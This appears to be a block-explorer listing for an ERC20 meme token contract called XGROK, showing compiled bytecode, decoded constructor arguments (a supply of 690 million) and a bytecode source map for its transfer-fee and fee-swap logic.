0000000000815260040161181690613057565b60405180910390fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118c35750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bf57600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119695750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119be57601060179054906101000a900460ff166119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b4906130c3565b60405180910390fd5b5b5b601060149054906101000a900460ff16156119e6576119df848484611e2e565b9050611d65565b60006119f1306107cb565b9050601060149054906101000a900460ff16158015611a5a5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a725750601060159054906101000a900460ff165b15611add57601060169054906101000a900460ff1615611a9257600c5490505b84600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611adc81612001565b5b611b66836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c9092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c4c5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c6057611c5b86868661207f565b611c62565b835b9050611cb681600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd090919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d56919061293e565b60405180910390a36001925050505b9392505050565b6000838311158290611db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dab91906127f9565b60405180910390fd5b5060008385611dc391906130e3565b9050809150509392505050565b6000808284611ddf9190613117565b905083811015611e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1b906131b9565b60405180910390fd5b8091505092915050565b6000611eb9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c9092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4e82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd090919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fee919061293e565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff021916908315150217905550612025816122a7565b600047905060008111156120605761205f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826125a3565b5b506000601060146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121075761210060646120f2600954866125ee90919063ffffffff16565b61266990919063ffffffff16565b9050612185565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612184576121816064612173600a54866125ee90919063ffffffff16565b61266990919063ffffffff16565b90505b5b600081111561228a576121e081600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd090919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612281919061293e565b60405180910390a35b61229d81846126b390919063ffffffff16565b9150509392505050565b6000600367ffffffffffffffff8111156122c4576122c36131d9565b5b6040519080825280602002602001820160405280156122f25781602001602082028036833780820191505090505b509050308160008151811061230a57612309612bf9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061237b5761237a612bf9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561241d57600080fd5b505afa158015612431573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124559190612cb5565b8160028151811061246957612468612bf9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124d030600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611530565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161253495949392919061330b565b600060405180830381600087803b15801561254e57600080fd5b505af1158015612562573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612597929190613365565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125e9573d6000803e3d6000fd5b505050565b6000808314156126015760009050612663565b6000828461260f9190613395565b905082848261261e919061341e565b1461265e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612655906134c1565b60405180910390fd5b809150505b92915050565b60006126ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126fd565b905092915050565b60006126f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d6c565b905092915050565b60008083118290612744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273b91906127f9565b60405180910390fd5b5060008385612753919061341e565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561279a57808201518184015260208101905061277f565b838111156127a9576000848401525b50505050565b6000601f19601f8301169050919050565b60006127cb82612760565b6127d5818561276b565b93506127e581856020860161277c565b6127ee816127af565b840191505092915050565b6000602082019050818103600083015261281381846127c0565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061285082612825565b9050919050565b61286081612845565b811461286b57600080fd5b50565b60008135905061287d81612857565b92915050565b6000819050919050565b61289681612883565b81146128a157600080fd5b50565b6000813590506128b38161288d565b92915050565b600080604083850312156128d0576128cf61281b565b5b60006128de8582860161286e565b92505060206128ef858286016128a4565b9150509250929050565b60008115159050919050565b61290e816128f9565b82525050565b60006020820190506129296000830184612905565b92915050565b61293881612883565b82525050565b6000602082019050612953600083018461292f565b92915050565b6000806000606084860312156129725761297161281b565b5b60006129808682870161286e565b93505060206129918682870161286e565b92505060406129a2868287016128a4565b9150509250925092565b600060ff82169050919050565b6129c2816129ac565b82525050565b60006020820190506129dd60008301846129b9565b92915050565b6000602082840312156129f9576129f861281b565b5b6000612a078482850161286e565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612a3557612a34612a10565b5b8235905067ffffffffffffffff811115612a5257612a51612a15565b5b602083019150836020820283011115612a6e57612a6d612a1a565b5b9250929050565b60008060208385031215612a8c57612a8b61281b565b5b600083013567ffffffffffffffff811115612aaa57612aa9612820565b5b612ab685828601612a1f565b92509250509250929050565b612acb81612845565b82525050565b6000602082019050612ae66000830184612ac2565b92915050565b60008060408385031215612b0357612b0261281b565b5b6000612b118582860161286e565b9250506020612b228582860161286e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b7357607f821691505b60208210811415612b8757612b86612b2c565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bc360208361276b565b9150612bce82612b8d565b602082019050919050565b60006020820190508181036000830152612bf281612bb6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c6282612883565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612c9557612c94612c28565b5b600182019050919050565b600081519050612caf81612857565b92915050565b600060208284031215612ccb57612cca61281b565b5b6000612cd984828501612ca0565b91505092915050565b6000604082019050612cf76000830185612ac2565b612d046020830184612ac2565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612d6760268361276b565b9150612d7282612d0b565b604082019050919050565b60006020820190508181036000830152612d9681612d5a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612df960248361276b565b9150612e0482612d9d565b604082019050919050565b60006020820190508181036000830152612e2881612dec565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e8b60228361276b565b9150612e9682612e2f565b604082019050919050565b60006020820190508181036000830152612eba81612e7e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612f1d60258361276b565b9150612f2882612ec1565b604082019050919050565b60006020820190508181036000830152612f4c81612f10565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612faf60238361276b565b9150612fba82612f53565b604082019050919050565b60006020820190508181036000830152612fde81612fa2565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061304160298361276b565b915061304c82612fe5565b604082019050919050565b6000602082019050818103600083015261307081613034565b9050919050565b7f6e6f742073746172740000000000000000000000000000000000000000000000600082015250565b60006130ad60098361276b565b91506130b882613077565b602082019050919050565b600060208201905081810360008301526130dc816130a0565b9050919050565b60006130ee82612883565b91506130f983612883565b92508282101561310c5761310b612c28565b5b828203905092915050565b600061312282612883565b915061312d83612883565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316257613161612c28565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006131a3601b8361276b565b91506131ae8261316d565b602082019050919050565b600060208201905081810360008301526131d281613196565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000819050919050565b600061323761323261322d84613208565b613212565b612883565b9050919050565b6132478161321c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61328281612845565b82525050565b60006132948383613279565b60208301905092915050565b6000602082019050919050565b60006132b88261324d565b6132c28185613258565b93506132cd83613269565b8060005b838110156132fe5781516132e58882613288565b97506132f0836132a0565b9250506001810190506132d1565b5085935050505092915050565b600060a082019050613320600083018861292f565b61332d602083018761323e565b818103604083015261333f81866132ad565b905061334e6060830185612ac2565b61335b608083018461292f565b9695505050505050565b600060408201905061337a600083018561292f565b818103602083015261338c81846132ad565b90509392505050565b60006133a082612883565b91506133ab83612883565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133e4576133e3612c28565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061342982612883565b915061343483612883565b925082613444576134436133ef565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134ab60218361276b565b91506134b68261344f565b604082019050919050565b600060208201905081810360008301526134da8161349e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122032f1e7b484d02b821597fd2bcb7548f9aacb30c8fd7551a3404f4e58ea70e1a764736f6c63430008090033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000002920908000000000000000000000000000000000000000000000000000000000000000055847524f4b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055847524f4b000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : coinName (string): XGROK
Arg [1] : coinSymbol (string): XGROK
Arg [2] : coinDecimals (uint8): 18
Arg [3] : supply (uint256): 690000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 0000000000000000000000000000000000000000000000000000000029209080
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [5] : 5847524f4b000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 5847524f4b000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

8007:9459:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10369:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11656:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10638:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13702:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10547:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11024:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8515:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6207:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10746:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12312:185;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12532:71;;;;;;;;;;;;;:::i;:::-;;5588:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5802:145;;;;;;;;;;;;;:::i;:::-;;10460:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11527:121;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11250:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13527:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5464:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12611:677;;;;;;;;;;;;;:::i;:::-;;10873:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12170:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5955:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10369:83;10406:13;10439:5;10432:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10369:83;:::o;11656:161::-;11731:4;11748:39;11757:12;:10;:12::i;:::-;11771:7;11780:6;11748:8;:39::i;:::-;11805:4;11798:11;;11656:161;;;;:::o;10638:100::-;10691:7;10718:12;;10711:19;;10638:100;:::o;13702:313::-;13800:4;13817:36;13827:6;13835:9;13846:6;13817:9;:36::i;:::-;;13864:121;13873:6;13881:12;:10;:12::i;:::-;13895:89;13933:6;13895:89;;;;;;;;;;;;;;;;;:11;:19;13907:6;13895:19;;;;;;;;;;;;;;;:33;13915:12;:10;:12::i;:::-;13895:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;13864:8;:121::i;:::-;14003:4;13996:11;;13702:313;;;;;:::o;10547:83::-;10588:5;10613:9;;;;;;;;;;;10606:16;;10547:83;:::o;11024:218::-;11112:4;11129:83;11138:12;:10;:12::i;:::-;11152:7;11161:50;11200:10;11161:11;:25;11173:12;:10;:12::i;:::-;11161:25;;;;;;;;;;;;;;;:34;11187:7;11161:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11129:8;:83::i;:::-;11230:4;11223:11;;11024:218;;;;:::o;8515:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;6207:90::-;6247:7;6274:15;6267:22;;6207:90;:::o;10746:119::-;10812:7;10839:9;:18;10849:7;10839:18;;;;;;;;;;;;;;;;10832:25;;10746:119;;;:::o;12312:185::-;5725:12;:10;:12::i;:::-;5715:22;;:6;;;;;;;;;;:22;;;5707:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12395:9:::1;12390:100;12414:8;;:15;;12410:1;:19;12390:100;;;12474:4;12451:7;:20;12459:8;;12468:1;12459:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12451:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;12431:3;;;;;:::i;:::-;;;;12390:100;;;;12312:185:::0;;:::o;12532:71::-;5725:12;:10;:12::i;:::-;5715:22;;:6;;;;;;;;;;:22;;;5707:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12591:4:::1;12581:7;;:14;;;;;;;;;;;;;;;;;;12532:71::o:0;5588:79::-;5626:7;5653:6;;;;;;;;;;;5646:13;;5588:79;:::o;5802:145::-;5725:12;:10;:12::i;:::-;5715:22;;:6;;;;;;;;;;:22;;;5707:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5906:1:::1;5869:40;;5890:6;::::0;::::1;;;;;;;;5869:40;;;;;;;;;;;;5937:1;5920:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5802:145::o:0;10460:79::-;10499:13;10524:7;10517:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10460:79;:::o;11527:121::-;11589:7;11616:24;;11609:31;;11527:121;:::o;11250:269::-;11343:4;11360:129;11369:12;:10;:12::i;:::-;11383:7;11392:96;11431:15;11392:96;;;;;;;;;;;;;;;;;:11;:25;11404:12;:10;:12::i;:::-;11392:25;;;;;;;;;;;;;;;:34;11418:7;11392:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11360:8;:129::i;:::-;11507:4;11500:11;;11250:269;;;;:::o;13527:167::-;13605:4;13622:42;13632:12;:10;:12::i;:::-;13646:9;13657:6;13622:9;:42::i;:::-;;13682:4;13675:11;;13527:167;;;;:::o;5464:21::-;;;;;;;;;;;;:::o;12611:677::-;5725:12;:10;:12::i;:::-;5715:22;;:6;;;;;;;;;;:22;;;5707:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12666:35:::1;12723:7;;;;;;;;;;;12666:65;;12742:20;12783:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12765:53;;;12827:4;12833:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12765:92;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12742:115;;12895:1;12871:26;;:12;:26;;;12868:219;;;12946:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12928:82;;;13019:4;13051:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12928:147;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12913:162;;12868:219;13157:22;;;;;;;;;;;13104:15;;:76;;;;;;;;;;;;;;;;;;13219:4;13195:21;;:28;;;;;;;;;;;;;;;;;;13276:4;13238:12;:35;13259:12;13238:35;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;12655:633;;12611:677::o:0;10873:143::-;10954:7;10981:11;:18;10993:5;10981:18;;;;;;;;;;;;;;;:27;11000:7;10981:27;;;;;;;;;;;;;;;;10974:34;;10873:143;;;;:::o;12170:132::-;5725:12;:10;:12::i;:::-;5715:22;;:6;;;;;;;;;;:22;;;5707:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12285:8:::1;12252:22;;:42;;;;;;;;;;;;;;;;;;12170:132:::0;:::o;5955:244::-;5725:12;:10;:12::i;:::-;5715:22;;:6;;;;;;;;;;:22;;;5707:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6064:1:::1;6044:22;;:8;:22;;;;6036:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6154:8;6125:38;;6146:6;::::0;::::1;;;;;;;;6125:38;;;;;;;;;;;;6183:8;6174:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;5955:244:::0;:::o;102:115::-;155:15;198:10;183:26;;102:115;:::o;11825:337::-;11935:1;11918:19;;:5;:19;;;;11910:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12016:1;11997:21;;:7;:21;;;;11989:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12100:6;12070:11;:18;12082:5;12070:18;;;;;;;;;;;;;;;:27;12089:7;12070:27;;;;;;;;;;;;;;;:36;;;;12138:7;12122:32;;12131:5;12122:32;;;12147:6;12122:32;;;;;;:::i;:::-;;;;;;;;11825:337;;;:::o;14023:1510::-;14110:4;14155:1;14137:20;;:6;:20;;;;14129:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;14239:1;14218:23;;:9;:23;;;;14210:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;14309:1;14300:6;:10;14292:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;14371:7;:15;14379:6;14371:15;;;;;;;;;;;;;;;;;;;;;;;;;14370:16;:39;;;;;14391:7;:18;14399:9;14391:18;;;;;;;;;;;;;;;;;;;;;;;;;14390:19;14370:39;14367:184;;;14428:12;:20;14441:6;14428:20;;;;;;;;;;;;;;;;;;;;;;;;;:47;;;;14452:12;:23;14465:9;14452:23;;;;;;;;;;;;;;;;;;;;;;;;;14428:47;14425:115;;;14503:7;;;;;;;;;;;14495:29;;;;;;;;;;;;:::i;:::-;;;;;;;;;14425:115;14367:184;14566:16;;;;;;;;;;;14563:963;;;14615:41;14630:6;14638:9;14649:6;14615:14;:41::i;:::-;14608:48;;;;14563:963;14709:28;14740:24;14758:4;14740:9;:24::i;:::-;14709:55;;14786:16;;;;;;;;;;;14785:17;:42;;;;;14807:12;:20;14820:6;14807:20;;;;;;;;;;;;;;;;;;;;;;;;;14806:21;14785:42;:67;;;;;14831:21;;;;;;;;;;;14785:67;14781:311;;;14889:25;;;;;;;;;;;14886:98;;;14960:24;;14937:47;;14886:98;15015:6;15003:9;;:18;;;;;;;;;;;;;;;;;;15040:36;15055:20;15040:14;:36::i;:::-;14781:311;15128:53;15150:6;15128:53;;;;;;;;;;;;;;;;;:9;:17;15138:6;15128:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;15108:9;:17;15118:6;15108:17;;;;;;;;;;;;;;;:73;;;;15198:19;15221:7;:15;15229:6;15221:15;;;;;;;;;;;;;;;;;;;;;;;;;:37;;;;15240:7;:18;15248:9;15240:18;;;;;;;;;;;;;;;;;;;;;;;;;15221:37;15220:127;;15313:34;15321:6;15329:9;15340:6;15313:7;:34::i;:::-;15220:127;;;15304:6;15220:127;15198:149;;15389:37;15414:11;15389:9;:20;15399:9;15389:20;;;;;;;;;;;;;;;;:24;;:37;;;;:::i;:::-;15366:9;:20;15376:9;15366:20;;;;;;;;;;;;;;;:60;;;;15465:9;15448:40;;15457:6;15448:40;;;15476:11;15448:40;;;;;;:::i;:::-;;;;;;;;15510:4;15503:11;;;;14023:1510;;;;;;:::o;1524:192::-;1610:7;1643:1;1638;:6;;1646:12;1630:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1670:9;1686:1;1682;:5;;;;:::i;:::-;1670:17;;1707:1;1700:8;;;1524:192;;;;;:::o;1191:181::-;1249:7;1269:9;1285:1;1281;:5;;;;:::i;:::-;1269:17;;1310:1;1305;:6;;1297:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1363:1;1356:8;;;1191:181;;;;:::o;15541:330::-;15634:4;15671:53;15693:6;15671:53;;;;;;;;;;;;;;;;;:9;:17;15681:6;15671:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;15651:9;:17;15661:6;15651:17;;;;;;;;;;;;;;;:73;;;;15758:32;15783:6;15758:9;:20;15768:9;15758:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;15735:9;:20;15745:9;15735:20;;;;;;;;;;;;;;;:55;;;;15823:9;15806:35;;15815:6;15806:35;;;15834:6;15806:35;;;;;;:::i;:::-;;;;;;;;15859:4;15852:11;;15541:330;;;;;:::o;15881:299::-;9477:4;9458:16;;:23;;;;;;;;;;;;;;;;;;15985:25:::1;16002:7;15985:16;:25::i;:::-;16021:22;16046:21;16021:46;;16100:1;16083:14;:18;16080:96;;;16116:60;16137:22;;;;;;;;;;;16161:14;16116:20;:60::i;:::-;16080:96;15942:238;9523:5:::0;9504:16;;:24;;;;;;;;;;;;;;;;;;15881:299;:::o;16871:585::-;16957:7;16979:17;16999:1;16979:21;;17014:12;:20;17027:6;17014:20;;;;;;;;;;;;;;;;;;;;;;;;;17011:223;;;17063:38;17097:3;17063:29;17074:17;;17063:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;17051:50;;17011:223;;;17131:12;:23;17144:9;17131:23;;;;;;;;;;;;;;;;;;;;;;;;;17128:106;;;17183:39;17218:3;17183:30;17194:18;;17183:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;17171:51;;17128:106;17011:223;17259:1;17247:9;:13;17244:164;;;17301:36;17327:9;17301;:21;17319:1;17301:21;;;;;;;;;;;;;;;;:25;;:36;;;;:::i;:::-;17277:9;:21;17295:1;17277:21;;;;;;;;;;;;;;;:60;;;;17382:1;17357:39;;17366:6;17357:39;;;17386:9;17357:39;;;;;;:::i;:::-;;;;;;;;17244:164;17427:21;17438:9;17427:6;:10;;:21;;;;:::i;:::-;17420:28;;;16871:585;;;;;:::o;16188:671::-;16314:21;16352:1;16338:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16314:40;;16383:4;16365;16370:1;16365:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;16409:9;;;;;;;;;;;16399:4;16404:1;16399:7;;;;;;;;:::i;:::-;;;;;;;:19;;;;;;;;;;;16439:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16429:4;16434:1;16429:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;16474:62;16491:4;16506:15;;;;;;;;;;;16524:11;16474:8;:62::i;:::-;16583:15;;;;;;;;;;;:66;;;16660:11;16682:1;16722:4;16745;16777:15;16583:220;;;;;;;